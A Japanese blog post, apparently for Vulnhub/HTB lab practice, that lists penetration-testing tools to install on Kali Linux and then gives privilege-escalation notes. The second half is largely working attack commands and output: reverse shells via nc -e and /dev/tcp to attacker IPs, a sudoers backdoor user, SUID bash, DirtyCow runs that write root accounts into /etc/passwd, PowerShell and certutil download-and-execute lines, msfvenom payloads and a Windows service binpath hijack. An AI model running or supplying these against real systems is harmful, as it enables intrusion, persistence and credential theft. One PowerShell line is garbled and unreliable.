Kali Linuxに(自分が)追加したいペネトレーションツール
先日、VMware上で動かしていたKali Linuxが突然エラーで起動できなくなりました。
コマンドラインだけならログインできるんですが、GUI操作ができず復旧が絶望的なので一からKali LinuxをInstallし直すことにしました。
その際、せっかくなので自分がVulnhubやHTBを攻略するうえで便利だと思って使っていて、かつKali Linuxにデフォルトで入っていないけど有用なツールをまとめたいと思います。
完全に個人の意見なので、参考までにどうぞ!
ちなみに、nikto
やgobuster
といったツールはめちゃくちゃ使いますがデフォルトでInstallされているため省略します。
- Information Gatering
- Information Gatering Brute Force
- Exploit
- Privilege Escalation IG (linux)
- Privilege Escalation IG (windows)
- Privilege Escalation exploit (linux)
- Privilege Escalation exploit (windows)
- おすすめ
- 最後に
Information Gatering
AutoRecon
自分がHTBとか解くときはまず絶対にこれを実行します。
python3 autorecon.py 10.1.1.1
みたいに特にオプションはつけずにデフォルトで実行します。
AutoReconは、まずTCPのデフォルト1000ポートスキャンのNmapScanを実行して、そこで見つかったサービスに対して、個別にNmapのVulnスクリプトやNikto、enum4linuxなどを実行してくれます。
それと同時並行でTCP fullNmapScanも実行し、そこで新たに見つかったサービスに対してもさらにNmapなどを実行してくれます。
こう聞くと、AutoReconだけで良いのでは?と思えますがAutoReconにも注意する点はあります。
まずNmapを使っているのでhost seems down
みたいにScanが正常に実行できなかったり誤検知(httpをwinrmと誤検知など)、空いているポートを逃したり。
実際に結構な頻度でこういうことが起こりえます。
なので自分はAutoReconとは別に手動でnmap 1000ポート、Fullポートスキャンを必ず行います。
この時、nmap -p- ipaddr --open
みたいな感じでバージョンまでは調べません。
とりあえず、空いているポートを見逃すということが怖いのでそれさえしなければOK。
scan結果は/results/scan
に出力されます。それ以外の/report
なども作成されますがここはOSCPのラボレポートの作成用に作者の方が用意したものなので自分は使ってません。(CherryTreeにメモを取るので)
github.com
onetwopunch
AutoReconを実行したあとに次に実行するコマンドです。
NmapでFull PortScanした後に、Nmapとは別の方法でバージョンスキャンを行います。
このツールの特徴はNmapより速いことです。
nmapで-sV
するよりもかなり早くFull PortScanできます。
自分は手動でNmapでtcp1000,fullポートスキャン、AutoReconでtcp quick,Fullポートスキャン、onetwopunchでtcp full,udp fullポートスキャンの三重でポートスキャンを行います。
ここまですればさすがに一回くらいポートを見逃しても他二回で検出できる、という作戦です。
実際、ここまでして見逃したことは今のところはないです。
github.com
Parsero
robots.txt
が存在するかどうかを確認します。
手動で確認してもいいかもだけど、タイプミスとか怖いのでこれを使ってます。
でもAutoReconがrobots.txtもチャックしてくれるので、これを使うのはAutoReconがhttpを検出できなかった時です。
実際、そういう場面は結構ある気がします。
smbver.sh
139,445ポートで動作しているSambaサーバーのバージョンを読み取るためのスクリプト。
enum4linux
でも同様のことができるが、ある一定以上のバージョンだとバージョンが検出できなくなっているらしい。
実際自分の環境だとenum4linuxが正しく動作しなかったので、その時はこれを使います。
Metasploitのモジュールでもバージョンを検出できる。
FindSMB2UPTime.py
MS14-068(Microsoft Windows Kerberos - Privilege Escalation (MS14-068))を確認する。
これはADにログインできるドメインユーザーの権限をSYSTEMに昇格させるPrivilegeEscalation。
ドメインユーザーのUser名、Password、SIDが必要。
github.com
impacket
通信などのややこしい設定をする必要なく、pythonスクリプトでそれが可能なスクリプト群。
mssqlclient.py
,wmiexec.py
,smbserver.py
,smbexec.py
などを特に使う。
oracle(sqlplus)
sqlplus
コマンドでOracleサーバーと対話する。
github.com
Information Gatering Brute Force
bruteforce-http-auth
hydra
がなんかうまく動かなかったので、動作がわかりやすい以下のスクリプトを使っている。
Basic, Digest認証のときに使っている。
github.com
SMBrute
SMBのブルートフォース。
windowsに登録されているユーザーをクラックする。
ただしクラックできる程度の弱いパスワードのマシンなんてほぼ無いのでは?と思ってる。でも一応は実行しておく。
github.com
smtp-user-enum
デフォルトでこのコマンドが入っていたが、動作がイマイチだったのでこっちを使ってます。
こっちなら、-v
オプションでより詳細なデバッグが可能。
個人的にこっちの方が使いやすかった。
github.com
wp_xmlrpc_brute_force.rb
XMLRPCを使ってログインブルートフォース。
wpscan
にこの機能があると思ったら意外とまだない様子。
Wordpressに対して行う。
Wpscanでwp-login.php
にブルートフォースでも結果は同じだが、wp-login.php
の方だと複数回のログイン試行を検出したらそのIPからの接続を拒否する、みたいな設定の場合にブルートフォースできなくなってしまう。
WordPress XML-RPC Password Brute Force · GitHub
debian-ssh
あるバージョンのdebian上で作成されたSSHの秘密鍵が予測可能な脆弱性がある。
crowbar
と組み合わせてSSHの秘密鍵ブルートフォースができる。
ただしめっちゃ時間はかかる。
github.com
massh-enum
OpenSSH の2.3 ~ 7.4 に Username Enumeration (CVE-2018-15473)の脆弱性。
他にもいくつか同じExploitのスクリプトはあったが、これが動いていたのでこれを使っている。
github.com
Exploit
Kadimus
NoSQLMap
NoSQL Injectionのペイロードを自動で試してくれる。
sqlmapと似ているが使い方は結構違う。
Powercat.ps1
PowershellのReverse shellPayload。
wget.vbs
winodws用のwgetみたいなもの。
Webshellは設置できたが、nc.exeがなくてインタラクティブなリバースシェルが欲しいときに、echoでwget.vbsを作成して、これでnc.exeをアップしたりする。
MS17-010
よく見る脆弱性。
個人的に以下のスクリプトが安定して動いている気がする。
named pipeが見つかる場合、見つからない場合、認証が必要な場合などで使い分ける。
github.com
github.com
github.com
Exiftool
画像ファイル(jpeg)にPHPコードを挿入したいときに使う。
PHPコードを含む画像ファイルをUploadしたら、LFIなどと組み合わせてPHPとして実行する必要がある。
そのままWeb上でアクセスしても画像ファイルとして認識されてしまい、PHPとして実行できないので。
Privilege Escalation IG (linux)
privilege-escalation-awesome-scripts-suite(linpeas.sh)
linpeas.shがカラフルで重要なとこの色が強調されるので一番使う。
kernel exploitを探すスクリプト以外の中では一番使いやすいと個人的に思っている。
他のLinEnum.shやlinuxprivchecker.pyにも同じ動作は多々あるが、色分けしてくれるのでこれをよく使います。
また、大体の環境でも動作してくれる。
pythonが入っていない環境とかも普通にあるので。
linux-smart-enumeration(lse.sh)
カラフルに色分けしてくれるので見やすい。
linpeas.shでの調査では不十分と感じたら実行している。
LinEnum.sh
こっちも色分けはしてくれるが、linpeas.shほどカラフルではない。
とはいえ、動作自体は優秀。
pspy
実行しているプロセスをダンプしてくれる。
linpeas.shなどでps aux
だけでは確認できないものも確認できる。
超優秀。自分はlinpeas.shとpspyだけは毎回必ず実行する。
実行されているプロセスを確認するのはめちゃくちゃ大事だと個人的に思っている。
見たことのないプロセスが動いていたら取りあえずチェックしている。
linuxprivchecker.py
LinEnum.shなどと同様の列挙スクリプト。
ただし、これは色分けがない。
linuxprivchecker.pyはLinEnum.shやlinpeas.shと違って、最後の方にKernel Exploitの予想をしてくれる。
ただし、それが当たっていたことはあんまりない気がする…。
pythonがない環境だと動作しない。
uptux.py
よくわかってない。
vuln_pkg_lookup.sh
よくわかってない。
SUID3NUM
デフォルトでSUIDがつくバイナリとそうでないバイナリをチェックしてくれる。
SUIDを用いたPrivilegeEscalationを確認する場合に使う。
ただし慣れてくるとlinpeas.shだったりで見慣れているバイナリは覚えてしまうので、変なバイナリはlinpeas.shだけでも見つけられる気がする。
BeRoot
pythonのKernel Exploitの列挙スクリプト。
一つのファイルじゃなくて全体をダウンロードしないといけないので一度ZIPにしてからダウンロードして、展開している。
ファイルサイズが大きいものをwgetするのは時間かかるし、あんまり使わない。
後述するKernel Exploit列挙スクリプトで全然列挙できてないときとかに非常用で使うつもりでいる(そういう状況にはなったことはない)
kernelpop
Kernel Exploitを列挙するスクリプト。
python3がないと動作しない(気がする)。そのため出番はあんまりない。
ディレクトリを丸ごとダウンロードする必要がある。
linux-exploit-suggester2.pl
色分けしてくれるので見やすい。
大体10~15個くらい列挙してくれるが、だいぶ誤検知も含まれている。
ただその中でもよく見るExploit(dirtycow, sock_sendpage, pipe, rdsなど)が検出されると優先度高めでリストに追加する。
Linux_Exploit_Suggester.pl
linux-exploit-suggester2.plの色分けのないバージョンだと思っている。
検出されるExploitもほぼ同じ。
linux-exploit-suggester.sh
linux-exploit-suggester2.plはただ列挙するだけだが、これはhighly probable
,probable
,less probable
の3段階でExploitを列挙してくれる。
less probable
以外は重要なのでリストに追加する。
たまにbashのバージョンが低すぎる、というエラーで実行できないことがある。
自分はlinux-exploit-suggester.shとlinux-exploit-suggester2.plは必ず実行している。
Privilege Escalation IG (windows)
Empire
powershellが使えるWindowsのPEに重宝する。
自分はEmpireが使えるかどうか(powershellが入っているかどうか)で作戦を変えています。
Empireが使えるなら、セッションを2個作成して、万が一リバースシェルがフリーズしてCtrl+Cしなければならなくなった時に、Empireからリバースシェルペイロードを実行するだけでまだリバースシェルを得られるようにしておく。
Empireからでもコマンド操作はできるっちゃできるけど、レスポンスが遅いので、Empireからコマンド操作をするときはこういう非常事態の時にしています。
あと、file uploaderとして非常に優秀だと思ってます。
certutilやtftpなどの長いコマンドを打つのではなくTab補完の利くEmpireからKaliの任意の場所のファイルをUploadできるので、ストレスを感じなくて済む。
あとは、PowerUp.ps1などを実行したりする。
PowerSploit
powershellが使える際に、ここのスクリプトを使うことができる。
とても便利だけど、スクリプトの数がめちゃくちゃ多いので使いこますのが難しい。
PowerUp.ps1, Get-System.ps1, Invoke-Mimikatz.ps1とかをよく使う気がする。
いまだによくわかっていない。
EmpireからPowerSploitのスクリプトをロードして、使用することができる。
長文のワンライナーでリバースシェル上でPowershellスクリプトを実行しなくても、Empire上からTab補完付きで簡単にPowershellスクリプトを実行できるのもEmpireの強みな気がする。とにかく便利。
Powerless.bat
windowsの情報収集系のスクリプトの中で個人的に一番!
他のEnumスクリプトは、Windowsのバージョンによって動作しないことが結構ある(ps1はXPなどでは動作しない)が、これはほぼすべてのバージョンで動作してくれる。
しかも個人的にチェックしてほしいところは大体チェックしてくれる。
Empireが使えるときもPowerless.batは実行する。
基本的にこれを実行して、追加の情報をほかのスクリプトで補っている。
jaws-enum.ps1
PowerUp.ps1などと同様に実行しておきたいツール。
動作は基本的にPowerless.batと同じだが、出力が綺麗で見やすいので実行できるならする。
windows-privesc-check
使った記憶があんまりないです……
でも便利そう。
github.com
Ghostpack-CompiledBinaries(SharpUp.exe Seatbelt.exe)
SharpUp.exe Seatbelt.exeを使う。
Powerless.batの追加として使っている。
Seatbelt.exeからは結構有用な情報が得られるので何をチェックしてくれるのかは把握しておくとよさそう?
wmic_info.bat
wmicコマンドで収集した情報をhtmlファイルに保存。
なので、レイアウトが綺麗で見やすい。
github.com
WindowsEnum.ps1
コンパクトに列挙してくれる。
これだけでは情報不足なのでほかのスクリプトと合わせて使いたい。
github.com
SessionGopher.ps1
セッション情報の中にあるクレデンシャル情報を抽出してくれる。
必ず実行するスクリプトの中のうちの一つ。
AccessChk
サービスの書き込み権限を確認したりするのに便利。
あと、Powerless.batがAccessChk.exeをアップしてから実行するとより情報を表示してくれるので自分は毎回Uploadしている。
Autorunsc
自動起動するようなサービスがないかをチェックする。
これも必ずアップしてチェックしている。
docs.microsoft.com
IKEEXT
IKEEXTというサービスにDLL Hijackできるかどうかチェックするps1スクリプト。
windows 7 なら確認している。
windows-exploit-suggester.py
windowsでKernel Exploitを列挙するためのスクリプト。
systeminfo
コマンドの出力結果をKali上にコピーして、Kali上で実行する。
とても有用!
毎回必ず確認。
Patchが適応されているかをチェックするのでPrivilegeEscalation以外も表示される。
Sherlock.ps1
Kernel Exploitを列挙するps1のスクリプト。
これもPowershellが使えるならEmpire上から必ず実行している。
BeRoot
Privilege Escalation exploit (linux)
dirtycow
Exploit-dbの40611,40616,40838,40839,40847は使用頻度が高いので、32/64bitでコンパイルしてまとめて、いつでも使えるようにしている。(コンパイルが若干面倒なので)
以下にいろいろなPoCがある。
github.com
Privilege Escalation exploit (windows)
WindowsExploits
コンパイル済みのバイナリがいっぱいあって最高!
locate MS16-032
みたいな感じでバイナリを探してつかっている。
windows-kernel-exploits
コンパイル済みのバイナリがいっぱいあって最高!
locate MS16-032
みたいな感じでバイナリを探してつかっている。
windows-tools(incognito,mimikatz_trunk)
incognito
,mimikatz_trunk
が有用なので入れている。
incognitoでMeterpreter上からのgetsystemと一部同じことができる。(Meterpreterのgetsytemは3種類の動作をしている)
juicy-potato
権限を確認したときに、条件を満たしていれば使える。
バイナリは以下から入手できる。
Releases · ohpe/juicy-potato · GitHub
Juicy-Potato-x86
上記のバイナリはx64用。
以下のソースコードをコンパイルしてx86バイナリを作成できるらしいが、エラーでコンパイルできませんでした。
できた方は教えてほしいです。
rottenpotato
権限を確認して条件を満たしていれば試してみる。
Tater(hot potato)
hot potatoExploitのps1スクリプト。
正直よくわかっていない。
tokenx_privEsc(getsystem.py)
meterpreterのgetsystemと同じことがpythonでできそう。
ただしREADMEを見た感じだと、RDP接続している状態でないとSYSTEMシェルが得られなさそう?
churrasco.exe
Microsoft Windows Server 2003 - Token Kidnapping Local Privilege Escalation
以下からバイナリをダウンロードできる。
github.com
Invoke-PowerShellTcp.ps1
powershellを用いたReverse shell payload
PSTools
PsExec.exeが欲しいのでダウンロード。
これを使って、AdministratorからSYSTEMになれる。
おすすめ
AutoRecon
impacket
onetwopunch
wget.vbs
linpeas.sh
pspy
LinEnum.sh
linux-exploit-suggester2.pl
linux-exploit-suggester.sh
Empire
PowerSploit
Powerless.bat
windows-exploit-suggester.py
WindowsExploits
windows-kernel-exploits
自分はこれらを使う機会が非常に多いです。
よくわからんという方はとりあえずここら辺のツールを一度使ってみることをお勧めします。
最後に
今回は自分がKaliに追加で入れるツールをまとめてみました。
これは自分がいろいろやってて良いなと思っただけなので、必ずしもこれらのツールだけがいいというわけではないし他にも便利なツールは大量にあります。
ツールに優劣をつけるつもりは全くないのでご了承願います。
参考程度にしていただければ幸いです。
あと、なんか間違ってたりアドバイスとかあればぜひ!
vulnhub Privilege Escalationメモ
以下二つに追記していってたんですが、文字数が多すぎてレスポンスが重くなったので、PrivilegeEscalationのことはここに書くことにしました。
PE以外は以下二つを参照してください。
kakyouim.hatenablog.com
Privilege Escalation
Linux
情報収集ツール
wget https://www.securitysift.com/download/linuxprivchecker.py
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
Linuxprivchecker.pyなら書き込み可能なファイルやディレクトリをEnumしてくれる。linpeas.sh
github.com
Linpeas.shならpasswordを含むクレデンシャルも探索できる
tcpdump
が可能かどうかもわかる。vuln_pkg_lookup.sh
github.comkernelpop.py
github.com
Enum Kernel Exploitpspy
github.comlinux-smart-enumration
github.comsuid3num.py
github.com
CustomSUIDを探せるwget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
wget https://raw.githubusercontent.com/PenturaLabs/Linux_Exploit_Suggester/master/Linux_Exploit_Suggester.pl
シェルを確立後、これらをアップして実行して情報を集める。
参考:
blog.g0tmi1k.com
https://www.rebootuser.com/?p=1623www.rebootuser.com
guide.offsecnewbie.com
guif.re
手動で情報収集
uname -a
cat /etc/*release
lsb-release -a
cat /etc/passwd
cat /etc/shadow
cat /etc/exports
/home *(rw,no_root_squash)
RWで共有ディレクトリに書き込み権限があり、no_root_squashでローカルのrootユーザーがnsfnobodyを割り振られない場合、いったんkaliにマウントしてSUIDの/bin/bashを書き込めば、リモートにログインしてその/bin/bashを実行することでRootになれる。
www.hackingarticles.inps -ef | grep root
sudo -l
,sudo -ll
例えば、以下のようになっている場合、test1はtest2として/tmp/somecommandを実行すると、そのコマンドがroot権限で実行される。
もし、現在のユーザーがtest1で、somecommandが/bin/bashの場合、sudo -u test2 /bin/bash
でrootになれる。
User test1 may run the following commands on this host: (test2 : ALL) /tmp/somecommand
ただし、somecommandがsudoedit
の場合、sudoedit
にはsudo
コマンドが含まれるので先頭にsudoを付与する必要はない。
- ls -al /etc/cron.daily
- cat /etc/crontab
書き込み可能なスクリプトが実行されていないかどうか確認。
また、*
インジェクションが可能でないか確認。
www.hackingarticles.in
logrotate
がRootで実行されていて、logrotateのログファイルに書き込めるまたはその親ディレクトリに書き込み権限がある場合、任意の場所に書き込める可能性がある。(と書いてあったが/etc/bash_completion.d/
にログファイルを書き込めるだけっぽい?)
/etc/bash_completion.d/
にExploit Codeを設置するとほかのユーザーがログインしてきたときにそのユーザーの権限でExploit codeが実行される。
/var/log
以外にログファイルがないかどうか確認。(/home/logdir/log.1
みたいな)
tech.feedyourhead.at
- find / -mmin -10 2>/dev/null | grep -Ev "^/proc" | grep -vi '\/var\/lib\/' | grep -vi '\/sys\/'
最近編集されたファイルを探す。
- capability
- CAP_DAC_OVERRIDE
- CAP_DAC_READ_SEARCH
- CAP_KILL
- CAP_SYS_CHROOT
これらがバイナリに付与されていないかどうか確認。
悪用できるかどうかは付与されているバイナリによる。
nxnjz.net
cat .bash_history
find /etc/apache2/ -perm 777 | grep -vi '\.load'
cat /etc/passwd | grep -v nologin | grep -v false | grep -v /bin/sync
Loginできるユーザーを確認lsattr ファイル名
ls -al /var
www.pathname.com
おかしな場所にSoftwareがInstallされていないかどうか確認cat ~/.ssh/id_rsa
SSHの秘密鍵が見れるか確認find -iname '*config*'
/var/www/html
などでMysqlなどのデータベースのクレデンシャルなどがないかどうか確認netstat -antup
- 待機しているサービスの確認
外部からは見えないようなソフトが動いていないかどうか確認
例えば以下のような場合、0.0.0.0(すべてのネットワークインターフェイス)の22,80ポートでリッスンしている。(127.0.0.1や10.11.0.1など)
ただしIptablesによってパケットフィルタリングされている可能性もある。
tcp 0 0 0.0.0.0:80 0.0.0.0: LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0: LISTEN
- mysql (3306)
mysql -h 127.0.0.1 -u root -P 3306 -p
show databases;
show tables;
show columns from table_name;
- mongodb (27017)
mongo -u user1 -p password123 localhost:27017/database_name
show dbs
データベースを表示。show collections
MongodbでのcollectionはMysqlでのTabledb.collection_name.find()
collection(table)の中身をすべて表示。db.users.insert( { escalation: "bash /bin/bash" } );
filed(column)がescalation
、値がbash /bin/bash
のdocument(row)をcollection(table)users
に挿入。db.collection_name.find( { a : 1 } )
collection(table)のdocument(row)の中で、field(column)a
の値が1
であるdocument(row)を抽出。
select * from collection_name where a = 1
に対応。
- 待機しているサービスの確認
- tcpdump
tcpdump -w test2.pcap -i tap0 -W1 -G10
で10秒間のセットを一回実行。i
でNICを設定。
passwordなどの情報がやり取りされていないかどうか確認する。tcpdump -r test2.pcap
r
でファイルを読み込む。tcpdump -r test2.pcap -n port 443 -A
n
でポートを指定して、A
、X
で中身を表示。tcpdump -r test2.pcap -n dst host 10.11.0.1
dpkg -l
Debian(ubuntuとか)でInstallされているソフトを列挙rpm -qa
CentOS / openSUSEでInstallされているソフトを列挙
以下を参考にする
www.pathname.com
Exploit
use searchsploit
得られたKernelのバージョンから有効なExploitをsearchsploit
でも探す
searchsploitで探すときには、正しいExploitを探すというよりは、明らかに動かないExploitを排除していって残ったものが正常に動くExploitであると考えています
- Linux kernel で2.6(今回は2.6.24)
- Local Privilege
- OSが32bit(i686とあるため)
- 標的の環境ではRubyは動かないので.rbを排除
< 2.6.1
を省く
ここまですればある程度目で見れるくらいに絞れる。あとは、
- Ubuntuで8.04じゃないやつ(10.10とか)
等、矛盾するものを排除していく
注意点
- grep は標準出力されたものの中で検索するのでsearchsploitの結果が隠れている場合はそれも省いてしまう。(Esca で途切れている場合など注意)
searchsploit --colour -t php
として色を消すsearchsploit -x 12345
とすると表示できる- grep では`-i`(大文字小文字無視)を使う
- Ubuntuで絞るのは早すぎる。Ubuntuと書かれていないものもある
- 一個ずつ消すときは、ファイル名で消す
- 2.xみたいなのを消さないように気を付ける
Compile error
: syntax error: unexpected end of file
: line 39: syntax error near unexpected token `{
/bin/bash^M: bad interpreter: No such file or directory
のようなエラーが出ているときは、改行コードが\r\nで保存されてしまっているため、Linuxの\nに直す。
その他のエラーの参考文献。
github.com
sed -i 's/\r//' filename
use command or program
-get root one liner
rootで起動しているプロセスがあれば、そのプロセス上でコマンドが実行できないかどうか確認。書き込みでも可。できれば以下のコマンドで権限昇格
echo "%wheel ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers; useradd user2; echo "user2" | passwd --stdin user2;usermod -aG wheel user2
useradd
でuser2という新しいユーザーをpassword=user2として作成し、usermod
でsudoをNOPASSWORDで実行できるようにする。
# id user2 uid=502(user2) gid=502(user2) groups=502(user2),10(wheel) # sudo su user2 bash-3.2$ sudo su root # id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
chmod u+s /bin/bash
/bin/bashの所有者の権限(3つのやつの一番左の権限)で実行。root以外が実行してもrootとして実行されるが、一番右のothersが実行できない(xがついていない)場合はPermission deniedとなって実行できない。
u+s
でSUIDビットを付けられるのはバイナリファイルだけ。シェルスクリプトにはできない。
g+s
でSGIDビットを付与。
ファイルの所有者は変わらない。/bin/bash -p
chmod
でrootの権限SUIDを付与したbash
を実行する際、-pを付けないと、実行したユーザーの権限で上書きされて実行されてしまうので昇格ができない。chown -R john.john /root
-R
で、指定したディレクトリとそのディレクトリ以下のファイルやディレクトリの所有権を再帰的に変更する。nc -e /bin/bash 192.168.56.5 4445
#!/bin/sh netcat -e /bin/sh 10.11.0.1 5555
- コマンドの悪用
sudoが許可されている場合など、以下のコマンドを使ってrootになれる。
GTFOBins
rootで書き込めるなら、/etc/sudoers
に
- www-data ALL=NOPASSWD: /bin/su
みたいに書けばよい
- export PATH=/home/john:$PATH
フルパスでコマンドが実行されていない場合、環境変数を書き換えて任意コマンド実行。ただしシェルスクリプト(bash script.sh)ではPATHを書き換えても/bin/を参照するため無効(?yokuwakaranai?)
- ssh -i id_rsa 127.0.0.1 -l root
非rootの公開鍵が/root/.ssh/authorized_keysにある場合、上記のコマンドで(/home/非root/.ssh上で)ログインできる。
また、kernelのバージョンが2.6.22~3.9なら、dirtycowというexploitができる可能性がある。これは非常に強力なエクスプロイト。一般ユーザーには読み込みしか許可せず書き込みができないファイルに対してExploitを実行して書き込めるというもの。つまり、/etc/passwd
に新たなuserをrootとして作成することが可能。
有名なExploit
Dirty cow
- 40839.c
gcc -pthread dirty.c -o dirty -lcrypt
でコンパイルする。
./dirtycow-40839-32 /etc/passwd successfully backed up to /tmp/passwd.bak Please enter the new password: pass Complete line: firefart:fijI1lDcvwk7k:0:0:pwned:/root:/bin/bash mmap: b778e000 madvise 0 ptrace 0 Done! Check /etc/passwd to see if the new user was created. You can log in with the username 'firefart' and the password 'pass'. DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd Done! Check /etc/passwd to see if the new user was created. You can log in with the username 'firefart' and the password 'pass'. DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
cat /etc/passwd firefart:fijI1lDcvwk7k:0:0:pwned:/root:/bin/bash
- 40616.c
gcc cowroot.c -o cowroot -pthread
でコンパイル。
* $ ./cowroot * DirtyCow root privilege escalation * Backing up /usr/bin/passwd.. to /tmp/bak * Size of binary: 57048 * Racing, this may take a while.. * /usr/bin/passwd is overwritten * Popping root shell. * Don't forget to restore /tmp/bak * thread stopped * thread stopped * root@box:/root/cow# id * uid=0(root) gid=1000(foo) groups=1000(foo)
- 40611
gcc -pthread dirtyc0w.c -o dirtyc0w
でコンパイル。
root@kali:~# perl -le 'print crypt("pass", "aa")' aaW3cJZ7OSoQM
で、これをパスワードとして/etc/passwd
に追記する。
文字数はいい感じにファイル名で合わせる。
$echo '#!/usr/bin/env bash' > /tmp/reverse-shell555555555 $bash -i >& /dev/tcp/10.11.0.112/5555 0>&1' >> /tmp/reverse-shell555555555 $chmod 777 reverse-shell555555555 .$/dirtycow-40611-32 /etc/passwd backdoor:aaW3cJZ7OSoQM:0:0:backdoor:/root:/tmp/reverse-shell555555555 <backdoor:aaW3cJZ7OSoQM:0:0:backdoor:/root:/tmp/reverse-shell555555555 mmap b7797000 madvise 0 procselfmem -1689934592 $cat /etc/passwd backdoor:aaW3cJZ7OSoQM:0:0:backdoor:/root:/tmp/reverse-shell555555555
- 40847
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
でコンパイル。
$./dcow -s
- 40838
gcc -pthread pokemon.c -o dcow
でコンパイル。
$./dcow pokeball miltank
miltankでpokeball fileを上書き。
(___) \n\ (o o)_____/ \n\ @@ ` \\ \n\ \\ ____, /%s \n\ // // \n\ ^^ ^^ \n\
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCsに様々なバージョンのDirtycowがのっている。
DirtyCOW(CVE-2016-5195)のPoCを試してみたよっていう話 - Qiitaに詳しい手順がのっている。
Ubuntuのディストリビューションに対するカーネルバージョン
Ubuntu version history - Wikipedia
Windows
ツールやコマンド
powerless.bat
accesschk.exe
をアップロードしてから実行するとよい
certutil.exe -urlcache -split -f "http://10.11.0.11/priv/windows/Powerless.bat" Powerless.bat
Sherlock.ps1
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.11.0.11/priv/windows/Sherlock.ps1'))http://10.11.0.112/priv/windows/Sherlock.ps1'));Find-AllVulns"
Session Gopher.ps1
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.11.0.112/priv/windows/SessionGopher.ps1')); Invoke-SessionGopher -Thorough"
JAWS
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.11.0.12/priv/windows/jaws-enum.ps1'))"
WindowsEnum.ps1
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.11.0.11/priv/windows/WindowsEnum.ps1'));"
windows-privesc-check2.exe
certutil.exe -urlcache -split -f "http://10.11.0.11/priv/windows/windows-privesc-check2.exe" windows-privesc-check2.exe
beRoot
certutil.exe -urlcache -split -f "http://10.11.0.11/priv/windows/beRoot.exe" beRoot.exe
PowerUp
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://10.11.0.11/priv/windows/PowerUp.ps1')); Invoke-AllChecks | Out-File allchecks.txt"
windows-exploit-suggester.py
python windows-exploit-suggester.py --database 2020-03-06-mssb.xls --systeminfo systeminfo.txt
Seatbelt.exe
certutil.exe -urlcache -split -f "http://10.11.0.11/priv/windows/Seatbelt.exe" Seatbelt.exe
SharpUp.exe
certutil.exe -urlcache -split -f "http://10.11.0.11/priv/windows/SharpUp.exe" SharpUp.exe
Metasploit
use post/multi/recon/local_exploit_suggester
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.56.5 lport=4444 -f exe > shell.exe
Other tool
accesschk.exe
レジストリへの権限を確認したり重宝するツールだが、XP SP1だとなんか動かなかった。(??)
ファイルサイズが大きいのでUPXで小さくした方がいいかも。
certutil.exe -urlcache -split -f "http://10.11.0.11/priv/windows/AccessChk/accesschk.exe" accesschk.exe
以下、もしくはSysInternalsからダウンロード。
github.com
Powershell Empire
- Listenerの設定
[Listeners] → [uselistenser http]でポートなどを設定
set Port 8080
set Host http://10.10.10.10:8080
set Name test
[execute]でリスナーを作成
[Listeners] → [usestager windows/launcher_bat]でリスナーのStagerを作成
set Listener test
[execute]でstagerを作成
scriptimport /var/www/html/priv/windows/Sherlock.ps1
scriptcmd FindAllVulns
usemodule privesc/powerup/allchecks
scriptimport /var/www/html/priv/windows/jaws-enum.ps1
upload /tftp/launcher.bat
upload /var/www/html/exploit/windows/reverse-4445.exe
upload /var/www/html/exploit/windows/Powerless.bat
upload /var/www/html/priv/windows/Accesschk/accessChk.exe
upload /var/www/html/priv/windows/Autoruns/autorunsc.exe
upload /var/www/html/priv/windows/beRoot.exe
upload /var/www/html/priv/windows/Seatbelt.exe
upload /var/www/html/priv/windows/SharpUp.exe
upload /var/www/html/priv/windows/windows-privesc-check2.exe
以下の参考文献がわかりやすい。
www.emonnao.com
以下にModuleの説明がのっている。
www.powershellempire.com
調査と悪用
system
* * Windows XP with sp2 * - As Power User: * service: DcomLaunch ( SYSTEM ) * Service: UpnpHost ( Local Service ) * Service: SSDPSRV (Local Service) * Service: WMI (SYSTEM) <- sometimes as user also.. * - As User: * Service: UpnpHost ( Local Service ) * Service: SSDPSRV (Local Service) * - As Network Config Operators: * service: DcomLaunch ( SYSTEM ) * Service: UpnpHost ( Local Service ) * Service: SSDPSRV (Local Service) * Service: DHCP ( SYSTEM ) * Service: NetBT (SYSTEM - .sys driver) * Service DnsCache (SYSTEM) * * * Windows 2000 * - As Power user * service: WMI (SYSTEM)
upnphost
XP SP1,2
ならupnphost
のレジストリキーを任意に書き換えられる脆弱性がある可能性(99%)
Local Srvice
で起動するようになっていても、Local System
に上書きすればよい。
reverse-shellペイロードは、Stagedじゃないとうまく行かなかった。
MSI,VBSで作成したペイロードはエラーで実行ができなかった。
msfvenom -p windows/shell/reverse_tcp LPORT=8888 LHOST=10.11.0.112 -f exe > reverse-8888-staged.exe
以下の参考文献では、-f exe-service
としてペイロードを作成していたが、そうするとnet start upnphost
の時に、
C:\WINDOWS\system32>net start upnphost net start upnphost System error 1083 has occurred. The executable program that this service is configured to run in does not implement the service.
となってエラーで実行できなかった。(???)
LPEWalkthrough/Walkthrough.md at master · J3rryBl4nks/LPEWalkthrough · GitHub
sc config upnphost binpath= "C:\Documents and Settings\All Users\Documents\reverse-4445.exe" sc config upnphost obj= ".\LocalSystem" password= "" sc qc upnphost sc config upnphost depend= "" net start upnphost
